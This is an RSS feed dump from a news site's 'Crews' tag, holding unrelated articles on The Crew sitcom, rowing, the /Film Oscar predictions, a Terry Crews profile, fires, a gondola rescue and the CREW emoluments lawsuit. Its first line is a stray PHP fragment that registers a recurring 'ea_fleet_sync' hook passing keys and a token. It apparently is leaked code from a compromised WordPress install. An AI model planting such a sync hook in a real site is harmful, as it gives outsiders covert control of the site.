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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Crews – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 21 Feb 2021 02:01:07 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Crews – Brief News https://briefnews.eu 32 32 The Crew’s Kevin James Weighs In on Kevin/Beth Cliffhanger: ‘I Don’t Know If I’m the Best One to Make Her Happy’ https://briefnews.eu/the-crews-kevin-james-weighs-in-on-kevin-beth-cliffhanger-i-dont-know-if-im-the-best-one-to-make-her-happy/ https://briefnews.eu/the-crews-kevin-james-weighs-in-on-kevin-beth-cliffhanger-i-dont-know-if-im-the-best-one-to-make-her-happy/#respond Sun, 21 Feb 2021 02:01:07 +0000 https://briefnews.eu/the-crews-kevin-james-weighs-in-on-kevin-beth-cliffhanger-i-dont-know-if-im-the-best-one-to-make-her-happy/

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It’s the age-old question: Does absence make the heart grow fonder? The Crew‘s Kevin Gibson is about to find out.

In the Netflix comedy’s Season 1 finale, Kevin had the chance to tell Beth how he feels about her and ask her not to leave. Instead, he said nothing and wished her well as she set off for a new life in New York with businessman fiancé Frank.

Even after several talkings-to by best friends Chuck and Amir, Kevin just couldn’t bring himself to admit that he’d like to be more than friends with Beth — but why? “Because he cares for her,” Kevin James tells TVLine, point blank. “He realizes that he could plow forward and say, ‘Hey, don’t go. I want you to stay here,’ but maybe that’s not the best thing. I’m aware of my feelings [in that] moment, but I’m [not] sure that I’m the best one for her, to make her happy.”

As far as how James’ co-star Sarah Stiles read the scene, she says it’s highly unlikely Beth knew what Kevin came there to say.

“I don’t think in that moment that she has any idea that that is what’s going on with him,” she says. “She’s so wrapped up in Frank and the move, and it’s all so much information that she’s not seeing it. Normally, she would pick on it. But I do think over the years, Beth has had those [same] feelings for Kevin. I think she loves him so much that sometimes it gets a little confusing.”

Should The Crew return, James would like to see Kevin and Beth’s will they/won’t they relationship stretch over multiple seasons. That being said, it may go the other direction. “We may end up together right away,” James teases.

What did you think of The Crew‘s finale — and Season 1 overall? Do you want Kevin and Beth to couple up? Weigh in via the following polls, then drop a comment with your full review.

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]]> https://briefnews.eu/the-crews-kevin-james-weighs-in-on-kevin-beth-cliffhanger-i-dont-know-if-im-the-best-one-to-make-her-happy/feed/ 0 Aussie crews oarsome at World Cup https://briefnews.eu/aussie-crews-oarsome-at-world-cup/ https://briefnews.eu/aussie-crews-oarsome-at-world-cup/#respond Mon, 16 Jul 2018 04:18:43 +0000 http://briefnews.eu/aussie-crews-oarsome-at-world-cup/ AUSTRALIA’S top women’s four has completed its preparations for the upcoming world rowing championships with gold and a World Cup series crown on a day of success in Lucerne.

The women’s and men’s four ended the regatta with victories while the men’s eight finished with silver in a confidence boosting performance for the Australian team.

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Molly Goodman, Sarah Hawe, Rosie Popa and Lucy Stephan came over the top of Denmark in their race for the gold medal with the US finishing third.

“Winning our last race before the world rowing championships is something we can really build on,” Stephan said.

“It was great to race and win here as well as it is such an amazing course.”

The men’s four also won both the gold in Lucerne and the overall World Cup crown following success in two of three events.

“We had a decent start, it was a bit choppy out in the middle of the race as the Eights were warming up as we came down the course, but we had a solid second 1000m and at the end we just held onto it.” said crewman Jack Hargreaves.

After leading for the first half, the men’s eight were overtaken to finish with silver behind world champions Germany in the men’s eight racing.

The country finished third on the medal table, courtesy of the two additional silver medals won by Alice Arch and Hamish Parry on Saturday.

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  • The United States formally complained to China after Chinese nationals pointed lasers at U.S. military aircraft near Djibouti in recent weeks, the Pentagon said on Thursday.
  • “They are very serious incidents … We have formally démarched the Chinese government and we’ve requested the Chinese investigate these incidents,” Pentagon spokeswoman Dana White told reporters.
  • “We have already refuted the untrue criticisms via official channels. The Chinese side consistently strictly abides by international law and laws of the local country, and is committed to protecting regional security and stability.”

WASHINGTON (Reuters) – The United States formally complained to China after Chinese nationals pointed lasers at U.S. military aircraft near Djibouti in recent weeks, the Pentagon said on Thursday, an account strongly disputed by China.

Djibouti, on the Horn of Africa, hosts a U.S. military base that is home to about 4,000 personnel, including special operations forces, and is a launch pad for operations in Yemen and Somalia.

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]]> https://briefnews.eu/us-says-chinese-laser-attacks-injured-plane-crews-china-strongly-denies/feed/ 0 The /Film Crew’s 2018 Oscar Predictions https://briefnews.eu/the-film-crews-2018-oscar-predictions/ https://briefnews.eu/the-film-crews-2018-oscar-predictions/#respond Wed, 28 Feb 2018 21:18:51 +0000 http://briefnews.eu/the-film-crews-2018-oscar-predictions/ 2018 oscar predictions

The 90th Academy Awards are this weekend and you know what that means. It’s time to fill our your prediction ballot, head to the Oscar party of your choosing, and win a bunch of money. Winning Oscar betting pools is a staple of film fandom. Embrace it!

But before you fill out your ballot, you should consult some experts. And after you’ve done that, check out /Film’s 2018 Oscar predictions.

2018 Oscar Predictions

Here’s how this works. Each member of the /Film staff filled out their own ballot. In each category, they had 100 points to spend. They could put all 100 points on a single nominee or split it amongst the nominees as they saw fit. If they felt someone was a lock, they could put all of their points on a single nominee. If they were unsure or felt the category was hotly contested, they could hedge their bets. We then collected everyone’s points together for a big group prediction.

Naturally, we’re keeping score and will reveal which staff member won our office pool next week. The winner gets bragging rights for a year.

And now, onto our predictions!

Best Picture

Call Me by Your Name – 0 points

Darkest Hour – 0 points

Dunkirk – 50 points

Get Out – 100 points

Lady Bird – 0 points

Phantom Thread – 0 points

The Post – 10 points

The Shape of Water – 300 points

Three Billboards Outside Ebbing, Missouri – 80 points

This is one of the most unpredictable Best Picture races in years, but the edge still went to The Shape of Water. With 13 nominations, it seems like it’s the least controversial choice…and it’s a damn good movie, to boot. Still, it wouldn’t surprise us in the slightest to see an upset from Get Out or Three Billboards Outside Ebbing, Missouri.

Lead Actor

Timothée Chalamet – Call Me by Your Name – 50 points

Daniel Day-Lewis – Phantom Thread – 100 points

Daniel Kaluuya – Get Out – 20 points

Gary Oldman – Darkest Hour – 400 points

Denzel Washington – Roman J. Israel, Esq. – 0 points

A highly respected actor buries himself behind mountains of make-up to play a real-life historical figure in a performance that is huge and dramatic and full of showy moments? Yeah, this is Gary Oldman’s trophy…unless the Academy decides to give Daniel Day-Lewis Oscar #4 or realizes that Timothée Chalamet is a revelation.

Lead Actress

Sally Hawkins – The Shape of Water – 60 points

Frances McDormand – Three Billboards Outside Ebbing, Missouri – 430 points

Margot Robbie – I, Tonya – 20 points

Saoirse Ronan – Lady Bird – 70 points

Meryl Streep – The Post – 30 points

This is another category that feels like a sure thing. It’s been an uphill battle for Three Billboards all awards season long, but everyone seems to agree that Frances McDormand is astounding in the lead role. Expect her to collect her second Oscar.

Supporting Actor

Willem Dafoe – The Florida Project – 170 points

Woody Harrelson – Three Billboards Outside Ebbing, Missouri – 25 points

Richard Jenkins – The Shape of Water – 20 points

Christopher Plummer – All the Money in the World – 0 points

Sam Rockwell – Three Billboards Outside Ebbing, Missouri – 385 points

Six months ago, this was Willem Dafoe’s award to lose. However, Sam Rockwell’s momentum over the past few months cannot be denied and he’s looking like the favorite now. But if anyone can upset, it’s Dafoe, playing against type in a well-regarded movie that didn’t receive much Oscar love elsewhere.

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Supporting Actress

Mary J. Blige – Mudbound – 0 points

Allison Janney – I, Tonya – 530 points

Lesley Manville – Phantom Thread – 0 points

Laurie Metcalf – Lady Bird – 70 points

Octavia Spencer – The Shape of Water – 0 points

If this is anyone other than Allison Janney, we will eat an ice skate. The beloved character actress used to dominate the Emmy Awards, so it’s about time she got an Oscar.

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Director

Paul Thomas Anderson – Phantom Thread – 30 points

Guillermo del Toro – The Shape of Water – 440 points

Greta Gerwig – Lady Bird – 0 points

Christopher Nolan – Dunkirk – 60 points

Jordan Peele – Get Out – 70 points

Even as Best Picture remains an open race, Best Director seems sewn up in favor of Guillermo del Toro. His momentum is nothing short of unstoppable. Plus, people like him and his movie. Win-win.

Animated Feature

The Boss Baby – 0 points

The Breadwinner – 20 points

Coco – 550 points

Ferdinand – 0 points

Loving Vincent – 30 points

Yeah, there’s always a chance of an upset here, but Pixar’s Coco has this one locked down. No other major animated release came close to touching it last year.

Animated Short

Dear Basketball – 280 points

Garden Party – 50 points

Lou – 100 points

Negative Space – 120 points

Revolting Rhymes – 50 points

As is often the case with the short film awards, your guess is as good as ours. The star power behind Dear Basketball (Glen Keane and Kobe Bryant, with a score by John Williams) gives it an edge in this case.

Adapted Screenplay

Call Me by Your Name – James Ivory – 470 points

The Disaster Artist – Scott Neustadter & Michael H. Weber – 0 points

Logan – Scott Frank & James Mangold and Michael Green – 20 points

Molly’s Game – Aaron Sorkin – 80 points

Mudbound – Virgil Williams and Dee Rees – 30 points

Call Me By Your Name has to get some love somewhere, so it might as well be here. It helps that screenwriter James Ivory is an 89-year old veteran screenwriter and director who has been nominated three other times. He will get his Oscar this weekend.

Original Screenplay

The Big Sick – Emily V. Gordon & Kumail Nanjiani – 40 points

Get Out – Jordan Peele – 365 points

Lady Bird – Greta Gerwig – 80 points

The Shape of Water – Guillermo del Toro & Vanessa Taylor – 10 points

Three Billboards Outside Ebbing, Missouri – Martin McDonagh – 105 points

Get Out feels like it’s just out of reach when it comes to Best Picture and Best Director, but Best Original Screenplay feels like the right place to honor it. However, Lady Bird and Three Billboards aren’t going down without a fight.

Cinematography

Blade Runner 2049 – 465 points

Darkest Hour – 0 points

Dunkirk – 20 points

Mudbound – 0 points

The Shape of Water – 115 points

Blade Runner 2049 marks Roger Deakins’ 14th Oscar nomination. Will he finally win? Well, he did shoot the best looking movie of 2017, but that hasn’t always mattered in this category. The Shape of Water could pick this one up if it gathers enough momentum.

Best Documentary Feature

Abacus: Small Enough to Jail – 10 points

Faces Places – 250 points

Icarus – 220 points

Last Men in Aleppo – 110 points

Strong Island – 10 points

There’s no “sure thing” nominee this year in this category, so it’s a coin toss between Faces Places and Icarus. Although Last Men in Aleppo could sneak in there.

Best Documentary Short Subject

Edith+Eddie – 90 points

Heaven is a Traffic Jam on the 405 – 220 points

Heroin(e) – 210 points

Knife Skills – 50 points

Traffic Stop – 50 points

Place your bets! We sure did! But we have no idea!

Best Live Action Short Film

DeKalb Elementary – 300 points

The Eleven O’Clock – 50 points

My Nephew Emmett – 100 points

The Silent Child – 100 points

Watu Wote/All of Us – 50 points

Once again: we have no idea. These are the categories that randomly make or break every Oscar prediction ballot.

Best Foreign Language Film

A Fantastic Woman (Chile) – 380 points

The Insult (Lebanon) – 0 points

Loveless (Russia) – 0 points

On Body and Soul (Hungary) – 100 points

The Square (Sweden) – 120 points

A Fantastic Woman seems to have the edge going into the weekend, but don’t count out The Square or On Body and Soul. However, the former allows the Oscars to honor a good movie and make a progressive political statement, which may give it the edge.

Guillermo del Toro Baby Driver

Film Editing

Baby Driver – 300 points

Dunkirk – 300 points

I, Tonya – 0 points

The Shape of Water – 0 points

Three Billboards Outside Ebbing, Missouri – 0 points

Baby Driver and Dunkirk are the two best edited movies of 2017, so here they are, neck and neck in our Oscars predictions. Dunkirk may have the edge because it’s a big, frantic war movie, but awarding Baby Driver would certainly make the Academy look hip.

Sound Editing

Baby Driver – 100 points

Blade Runner 2049 – 0 points

Dunkirk – 500 points

The Shape of Water – 0 points

Star Wars: The Last Jedi – 0 points

War movies tend to dominate this category and Dunkirk will probably walk away with this one. Still, don’t count out Baby Driver‘s impressive soundscape.

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Sound Mixing

Baby Driver – 150 points

Blade Runner 2049 – 0 points

Dunkirk – 300 points

The Shape of Water – 0 points

Star Wars: The Last Jedi – 150 points

This is probably another win for Dunkirk, but Baby Driver and Star Wars: The Last Jedi could give it a run for its gold.

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Production Design

Beauty and the Beast – 0 points

Blade Runner 2049 – 160 points

Darkest Hour – 0 points

Dunkirk – 0 points

The Shape of Water – 440 points

Many headlines were written about how The Shape of Water achieved its gorgeous, gothic sets on a tight budget. That narrative gives it the edge on Blade Runner 2049, which had all the money in the world.

Original Score

Dunkirk – 50 points

Phantom Thread – 220 points

The Shape of Water – 330 points

Star Wars: The Last Jedi – 0 points

Three Billboards Outside Ebbing, Missouri, Carter Burwell – 0 points

This could be a tight one. The Shape of Water has the edge because this category sometimes favors Best Picture frontrunners. Still, don’t count out Jonny Greenwood’s Phantom Thread score, especially since many believe him to be long overdue for an Oscar.

Original Song

“Mighty River” from Mudbound – Mary J. Blige – 50 points

“Mystery of Love” from Call Me by Your Name – Sufjan Stevens – 0 points

“Remember Me” from Coco – Kristen Anderson-Lopez and Robert Lopez – 440 points

“Stand Up for Something” from Marshall – Diane Warren and Common – 0 points

“This Is Me” from The Greatest Showman – Benj Pasek and Justin Paul – 110 points

If The Greatest Showman had received more love in other categories, it would own this trophy. But it didn’t, so it doesn’t. It has some incredibly stiff competition from Coco.

Makeup and Hair

Darkest Hour – 600 points

Victoria and Abdul – 0 points

Wonder – 0 points

Look, they transformed Gary Oldman into Winston Churchill. This category is a lock unlike any others.

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Costume Design

Beauty and the Beast – 60 points

Darkest Hour – 0 points

Phantom Thread – 420 points

The Shape of Water – 100 points

Victoria and Abdul – 0 points

Phantom Thread is a period movie about dressmaking! It should win this one! It hits all of the right buttons! And yet, The Shape of Water lurks in the background, watching and waiting…

Visual Effects

Blade Runner 2049 – 280 points

Guardians of the Galaxy Vol. 2 – 0 points

Kong: Skull Island – 0 points

Star Wars: The Last Jedi – 0 points

War for the Planet of the Apes – 320 points

Does this award go to the remarkable motion capture performances of War for the Planet of the Apes or the vivid future cityscapes of Blade Runner 2049? We give the edge to Caesar.

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]]> https://briefnews.eu/the-film-crews-2018-oscar-predictions/feed/ 0 How Terry Crews went from sweeping floors after quitting the NFL to becoming a transcendent pitchman and huge TV star https://briefnews.eu/how-terry-crews-went-from-sweeping-floors-after-quitting-the-nfl-to-becoming-a-transcendent-pitchman-and-huge-tv-star/ https://briefnews.eu/how-terry-crews-went-from-sweeping-floors-after-quitting-the-nfl-to-becoming-a-transcendent-pitchman-and-huge-tv-star/#respond Sun, 21 Jan 2018 03:43:42 +0000 http://briefnews.eu/how-terry-crews-went-from-sweeping-floors-after-quitting-the-nfl-to-becoming-a-transcendent-pitchman-and-huge-tv-star/ BI Graphics_Stay Hungry_800x100_POST (1)Business Insider

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  • Terry Crews has built a career by doing everything from action movies (“The Expendables”) and comedy series (“Brooklyn Nine-Nine”), to being a game-show host (“Who Wants to Be a Millionaire”) and pitchman (Old Spice).
  • But at one point, after playing in the NFL, he was broke and had a job sweeping floors at a factory.
  • Now, he’s one of the most recognizable faces on the planet — and even has a furniture line.

Terry Crews learned the hard way that you should never take an opportunity for granted. 

He was 11 years old when a woman at his church, impressed by his drawing ability, offered to have him create a sign for her storefront. She would give him $ 25 for the work, which for a kid from a blue-collar family in Flint, Michigan was quite a pay day. He was told to complete the sign within a week.

“I thought, ‘This is going to be easy!’” Crews recalled to Business Insider in a recent interview. “So I spent the week watching cartoons, hanging out, playing around, and the day before it was due I started. But the paint wasn’t sticking to the canvas, everything was going wrong, it was awful. The woman showed up at the house and looked at it and was like, ‘I’ve never been more disappointed.’ I was crushed. I didn’t put any effort into it. I vowed to work hard after that. I never wanted anyone to have that disappointment in me again.”

And Crews’ career proves that he’s never forgotten that life lesson. 

From being the face of Old Spice commercials to his memorable roles in movies (“Idiocracy,” “The Expendables”) and TV (“Brooklyn Nine-Nine”), thanks to his hulking size matched with his comedic talents, Crews, 49, has gone from being broke after a lackluster career in the NFL, to being an actor who seems to always have a new goal he’s chasing down.

And recently Crews also stood up and became part of the #MeToo movement — the viral wave on social media denouncing sexual misconduct in the wake of the Harvey Weinstein allegations. Late last year, Crews said in a series of tweets that a Hollywood executive groped him at a party in 2016. This, and subsequent statements and interviews, led to Crews being included in Time magazine’s Person of the Year: “Silence Breakers.”   

For this piece, Crews took Business Insider through some of the landmark moments of his career to show that when it comes to his brand, as he puts it, “I’m happy, but I’m never satisfied.”

Broke and sweeping floors in a factory after quitting the NFL

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Terry Crews’ career in the NFL was not a memorable one. Basically a glorified tackling dummy in the league after being drafted by the Los Angeles Rams in the 11th round in 1991, Crews also played for the San Diego Chargers and Washington Redskins. He walked away from the game after being on the practice squad for the Philadelphia Eagles in 1996. He played a total of 32 games over his 5-year career.

With no other career to fall back on, Crews tried to get into acting, but quickly realized having the NFL on his resume didn’t equal instant success.

“It was a big shock to me,” Crews said about not finding immediate fame in the entertainment world. “I moved to Los Angeles thinking that because I was a football player, I was going to get a lot of big opportunities. They didn’t even have a football team then, nobody cared!”

Crews said he spent a year broke, and had to get a job sweeping floors at a factory to make ends meet.

“I realized I had to start all over again,” he said. “I gotta sweep these floors and make sure they are clean but I also felt like I was doing something about the situation. It was a gut check.”

Finding his big break in “Friday After Next”

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With no acting experience but a lot of desire, Crews got himself into auditions thanks to his size and outgoing personality. It led to him being cast on the syndicated show “Battle Dome” in 1999 — think a combination of “American Gladiators” and pro wrestling — where he played the character “T-Money” for two seasons. He also got extra work on movies like “Training Day” and the Matthew Perry comedy “Serving Sara.”

Then in 2002 he got his big break.

After working security on the set of 2000’s “Next Friday,” the sequel to the Ice Cube stoner comedy “Friday,” Cube cast Crews in the third movie, “Friday After Next.” Crews played Damon, an ex-con who basically was the intimidating presence in the movie (as Tommy “Tiny” Lister’s Deebo character was in the first two movies).

But Crews took the character to a whole new level and became a standout in the movie. This was particularly because his Damon character is sexually attracted to another male character, Money Mike (Katt Williams), a storyline that at the time in black culture was very taboo.

“I remember talking to Katt and saying, ‘If this is the last thing we ever do, they can love us or they can hate us, but we have to make sure they never forget us,'” Crews said. “That was our whole mantra. Do something that will just make everyone’s eyes bug out.”

And they did just that. Crews said he pushed the homosexual tendencies of the Damon character to the point that even on set fellow actors thought it was going too far.

However, despite the movie being a box-office bomb (it grossed only $ 33.3 million worldwide), Crews was one of the highlights.

“At the premiere, Ice Cube came up to Katt and me and he was like, ‘That whole third act with you and Katt takes over the whole movie.'” Crews said. “And I was like, wow. I got respect from people in the industry because I was willing to go all in.”

The Old Spice commercials

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Crews’ “all in” approach led him to be a huge part of an advertising campaign that has influenced the way commercials are made today.

In 2010, he began doing commercials for Old Spice deodorant called “Odor Blockers,” and the company’s YouTube channel suddenly became one of the most addictive destinations on the site. Created by the Wieden+Kennedy ad agency and directed by Tim Heidecker and Eric Wareheim, of “Tim and Eric Awesome Show” fame, the videos instantly became viral thanks to Crews insanely yelling and screaming while doing bizarre things (with the help of CGI). Whether it was rolling his head down a bowling lane, popping his now-famous pecs, or suddenly appearing in another brand’s commercials, Crews embodied the insanity that made the commercials — as well as Isaiah Mustafa’s equally zany “Smell Like a Man, Man” Old Spice commercials — go on to win advertising awards and spawn countless imitators.

“I remember the first time we shot any of the Old Spice commercials we did three on the same day because we kept coming up with ideas,” Crews said. “I had to sign contracts and fax them to Wieden+Kennedy on set because I was only signed to do one ad.”

“I trusted these guys and it was a magical moment,” Crews continued. “It’s been eight years and I’m still doing them. I’m filming a new one on Thursday!”


President Camacho from “Idiocracy”

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Through the years Crews has played some entertaining characters, but his most memorable (so far) is President Dwayne Elizondo Mountain Dew Herbert Camacho from the 2006 movie “Idiocracy.”

Though hardly anyone saw the movie when it was released, it’s found a second life on Blu-ray, cable, and streaming. And Crews’ portrayal of the president in a future when corporations are king and everyone is stupid has gotten to cult icon status.

There was even talk of Crews portraying Camacho in some anti-Donald Trump ads that “Idiocracy” director Mike Judge was going to make during the 2016 presidential campaign. But Crews balked, saying he would only do it if all the candidates were made fun of.

Looking back now, Crews feels he’s protective of the Camacho character because of how it can be shaped to any political agenda — none of which the actor wants to be a part of.

“People are way more complex than Republican and Democrat, and that’s what I love about ‘Idiocracy,’ it just told the truth,” Crews said. “That’s the comedy I like to do. I still think there’s room to do Camacho stuff, I would love to. But I want to also just tell the truth and then let it lay.”

“Brooklyn Nine-Nine”

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Recently, Crews’ steadiest work has been playing Detective Sergeant Terence “Terry” Jeffords for five seasons on the Fox comedy series “Brooklyn Nine-Nine.”

And if you’re wondering, no, it’s not a coincidence Crews’ character is named Terry on the show.

“We designed the role for Terry, we named the character ‘Terry’ just to tell him how much we wanted him to do it,” Michael Schur, co-creator/executive producer of “Brooklyn Nine-Nine,” told Business Insider in an email. “Everything about Terry Crews is impressive — his talent, his work ethic, his courage, his activism, everything. In fact, his biceps are the least impressive thing about him, which is saying something.”

There is no better place than TV for actors to work on their craft, and Crews is appreciative of the show for that — and for the incredible response he’s received from the show’s fans over the years.

“One woman told me she watches ‘Brooklyn Nine-Nine’ because her son passed away and they enjoyed watching it together,” Crews said. “So when she watches it now it brings her back to that time. You start to realize the influence. This is beyond me.”

Furniture line

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That’s right, Terry Crews has furniture named after him.

Crews said he was helping a friend out on a furniture line when he was suddenly offered his own.

“On the [list of] things I want to accomplish, furniture wasn’t on there but art was,” Crews said. “I felt, wait, furniture is art, if you make it it’s art!”

Crews dove into the project, coming up with sketches on his own. It was evident for those working with him that he wasn’t just going to slap his name on anything placed in front of him.

“He had so many solid ideas that the difficult part was choosing which ones to pursue for his first collection,” Jerry Helling, creative director of furniture maker Bernhardt Design — which is doing Crews’ line — told Business Insider in an email. “His knowledge of design and his passion for the industry, combined with his artistic skills made him an ideal collaborator.”

Crews’ collection ranges from seating to tables, all inspired by ancient Egypt. A second collection will be coming out in the spring.

Using his art skills to make a TV show

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Before scoring a football scholarship to attend Western Michigan University, Crews got an art scholarship. He’s also been a courtroom sketch artist (back in his hometown of Flint, Michigan), and even painted portraits of NFL players to earn some extra cash during his playing days (sometimes charging $ 5,000 a portrait).

Now Crews is trying to combine his passion and his celebrity status to make a show.

He’s prepping a pitch to send around Hollywood of a talk show in which he’ll interview a guest while also sketching them. The pilot has already been shot with his “Brooklyn Nine-Nine” costar Andy Samberg as the guest.

“The pilot looks great, we got a lot of pitch meetings lined up,” Crews said. “Our biggest thing is will the show be 30 minutes, or 10 minutes, or even a couple of minutes? We can tailor to whoever wants it. So we’re keeping it open to any format.”

Time magazine Person of the Year: “Silence Breakers”

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Recently, the biggest thing on Crews’ mind has been an incident that happened to him at a party back in 2016, he said.

In the wake of the Harvey Weinstein sexual misconduct allegations this past October, Crews was one of the many who spoke out about sexual harassment.

Through a series of tweets, the actor said that a “high level Hollywood executive” groped him at a party he attended with his wife.

Crews later revealed that the exec he was talking about was Adam Venit, head of the motion picture department at the talent agency William Morris Endeavor. The same agency represented Crews (the actor has since left WME). After a one-month suspension, Venit went back to work at WME and was demoted.

Crews, who has since filed a report with the LAPD alleging Venit sexually assaulted him, was later named as one of the “Silence Breakers” in Time’s Person of the Year issue.

Looking back on the past months, Crews said telling his story was “a good thing” because it revealed who really was in his corner.

“I found out who my friends really were through this thing,” Crews said. “There were a lot of people that I thought were behind me and weren’t. I didn’t cry in my bed, ‘Oh, I’ve been betrayed,’ as a businessman the difficult times revealed who was there for me and who wasn’t.”

“I’m thankful,” Crews continued, “because I would have gone for years thinking these people had my back. I would have just kept going. Sometimes you don’t see until something weird happens, and it doesn’t get weirder than what happened to me.”

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Flames shot through windows of a brownstone apartment building in the Crown Heights neighborhood of Brooklyn, as firefighters engaged the three-alarm blaze.

Three firefighters have non-life threatening injuries, an FDNY spokesperson told NY1.

Flames have reportedly shot out of the windows of a three-story brownstone complex in Brooklyn’s Crown Heights neighborhood, according to WNBC.

Fire crews are fighting the inferno as Tuesday night brings freezing temperatures, with Brooklyn chilling at 20 degrees Fahrenheit, according to the Weather Company. Winds hitting 11 miles per hour make the conditions even colder.

Earlier Tuesday, another fire erupted in the Bronx, injuring over 20 people.

Last week in the Bronx, a fire killed 12 people, making it one of New York’s deadliest in many years.

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Some 150 skiers were forced to spend most of their Christmas Eve admiring the majestic beauty of the French Alps after a lift broke down on their journey to the summit. It took rescue crews over 2 hours to rescue those stranded.

The skiers got stuck some 25 meters above ground after one of the gondolas broke down at the Isere lift station at Chamrousse at around 3pm local time. Unable to get to the Cross of Chamrousse, which lies about 600 meters from the lift station, passengers on board dozens of gondolas spent more than two hours dangling in the air.

The incident triggered a massive rescue effort by local authorities, with significant resources immediately deployed. The station’s runway services, two civil protection helicopters, and seven rescue teams from Alpe d’Huez and Grenoble took part in the rescue operation.

It involved dropping a rescuer on the roof of each gondola. Once on top, the rescuers helped people to safety using a rope. The evacuation ended at about 5:15 local time, without any injuries. “Everyone is fine and will be on time for the New Year’s Eve,”announced local mayor, Philippe Cordon.

Technical units at the station are now looking into what could have caused the breakdown of the line. Local authorities hope to restart operating the lift Monday morning.

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]]> https://briefnews.eu/helicopter-crews-rescue-150-skiers-from-stuck-gondola-lifts-in-french-alps-videos/feed/ 0 CREW’s Emoluments lawsuit against Trump dismissed for lack of standing https://briefnews.eu/crews-emoluments-lawsuit-against-trump-dismissed-for-lack-of-standing/ https://briefnews.eu/crews-emoluments-lawsuit-against-trump-dismissed-for-lack-of-standing/#respond Fri, 22 Dec 2017 03:27:05 +0000 http://briefnews.eu/crews-emoluments-lawsuit-against-trump-dismissed-for-lack-of-standing/ Congress, not the courts, should have the final say on whether President Donald Trump is in violation of the US Constitution’s Emoluments Clause, a federal judge ruled in dismissing two lawsuits filed against the president.

On Thursday, the Citizens for Responsibility and Ethics in Washington, better known as CREW, failed to convince US District Court Judge George Daniels of the Southern District of New York that Trump has violated the US Constitution the moment he was inaugurated. At issue was the Emoluments Clause, which prohibits US officeholders from accepting gifts or titles from foreign governments without Congress approval.

The non-profit outfit and their three co-plaintiffs – a restaurant association, an event booker for luxury hotels and a hotel and restaurant owner – all alleged that Trump was costing them money by renting Trump Tower office space to a Chinese bank. They further allege that Trump allowed foreign diplomats to party at Trump International Hotel located near the White House and receiving royalties for the BBC’s licensing of “The Apprentice,” a reality TV show Trump hosted from 2004 to 2015.

Judge Daniels, who was appointed by President Bill Clinton, rejected CREW’s claim that it was harmed because it would not have spent its time and money on this lawsuit if not for Trump’s business dealings. The judge was also not persuaded by the Restaurant Opportunities Centers United, which represents 200 restaurants and 25,000 workers, or the two event and service professionals who claimed Trump’s influence cost them customers, according to the ruling obtained by Politico.

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Around the same time the lawsuit was launched, then-CREW chairman David Brock, a supporter of Hillary Clinton, was spending a weekend with major Democratic donors seeking to defeat Trump through impeachment and litigation, according to a memo obtained by the Washington Free Beacon.

A separate Emoluments lawsuit, brought by New York attorney William Weinstein as a class action serving the public, was also dismissed Thursday by Judge Daniels, Politico reported. There are still other ongoing Emoluments cases out of the reach of Daniels. Congressional Democrats sued Trump in federal court in Washington, and the attorneys general of Maryland and the District of Columbia have sued in a federal court in Maryland.

Daniels became the first federal judge in history to rule on an Emoluments Clause complaint against a president for his business relations, Bloomberg reported. But the judge found that ultimately the case was a matter for the Congress.

“As the only political branch with the power to consent to violations of the Foreign Emoluments Clause, Congress is the appropriate body to determine whether, and to what extent, Defendant’s conduct unlawfully infringes on that power,” Daniels ruled. “If Congress determines that an infringement has occurred, it is up to Congress to decide whether to challenge or acquiesce to Defendant’s conduct. As such, this case presents a non-justiciable political question.”

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US Department of Justice lawyers representing Trump argued the clause was not meant to apply to commerce. A service provided for a price does not rise to the level of influence peddling or a quid-pro-quo, they argued.

Legal scholar Seth Barrett Tillman wrote a friend-of-the-court brief arguing that US presidents are not even covered under the Foreign Emoluments Clause. He cited the first Treasury Secretary Alexander Hamilton, who in 1793, left out the president, vice president and others from a 90-page list of civil office holders and US employees. Tillman also noted that Presidents George Washington and Thomas Jefferson accepted diplomatic gifts without any permission from Congress.

DOJ attorneys, however, accepted in principle that the president is covered under the clause, a footnote in Daniels’ opinion shows.

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An aviation blog has posted a photo of a US AF F-4 jet flying upside down as it intercepts a Soviet Tu-95 strategic bomber. The story behind it is one of how mid-air encounters now deemed “unsafe” were once regarded as professionals having a bit of fun.

The picture was published by the popular military aviation blog The Aviationist on December 4 as an illustration of how the definition of recklessness has changed since the Cold War. Maneuvers like barrel rolls or aggressive turns during interception missions are now usually branded by the Pentagon as “unprofessional” or “unsafe” if performed by Russian or Chinese pilots responding to American aircraft.

But a few decades ago such stunts were quite routine and not perceived as anything dangerous. Military aviation blogger David Cenciotti cited a US spy plane veteran pilot calling such episodes “ho-hum.” He added that American pilots actually behaved in the same manner, as evidenced by the photo with the ‘Phantom’ flying upside down alongside the ‘Bear.’

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The image went viral, and its owner Robert M. Sihler contacted the blog and revealed he took it during his deployment to Iceland in the 1970s, a period of reduced tension known as detente.

“Generally, we did these barrel rolls at the request of the Soviet crew members. They photographed us as well. The Cold War was winding down and the attitudes on both sides had improved,” Sihler said.

When asked whether he considered the barrel roll a difficult or an unsafe maneuver, Sihler replied frankly: “Not really! The Soviets, at the time, gave us hand signals asking us to ‘perform’ for them. The rolls were not dangerous at all.”

The mood surrounding Russia and the US has recently been quite different, with both sides complaining about the other’s conduct over Syria. This week the Russian Defense Ministry accused the US of trying to interfere with Russian bombing missions and thus defending terrorists. The accusation came in response to controversial remarks from a US Air Force spokesman, who claimed that “unsafe behavior” by Russian pilots may prompt the Americans to shoot the Russian warplanes down.

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]]> https://briefnews.eu/cold-war-fun-pilot-reveals-soviet-bomber-crews-asked-us-jets-to-barrel-roll-took-pics-photo/feed/ 0 Terry Crews Sues Over Alleged Sexual Assault https://briefnews.eu/terry-crews-sues-over-alleged-sexual-assault/ https://briefnews.eu/terry-crews-sues-over-alleged-sexual-assault/#respond Thu, 07 Dec 2017 08:22:03 +0000 http://briefnews.eu/terry-crews-sues-over-alleged-sexual-assault/ Brooklyn Nine-Nine star Terry Crews made headlines in the days following the first wave of Harvey Weinstein allegations by relaying, via Twitter, the story of how a “high level Hollywood exec” groped him at an industry function. He told the story, and described his inaction to the assault, to explain how he understands “why women who this happens to let it go,” in the hope that “me coming for ward with my story will deter a predator and encourage someone who feels hopeless.”

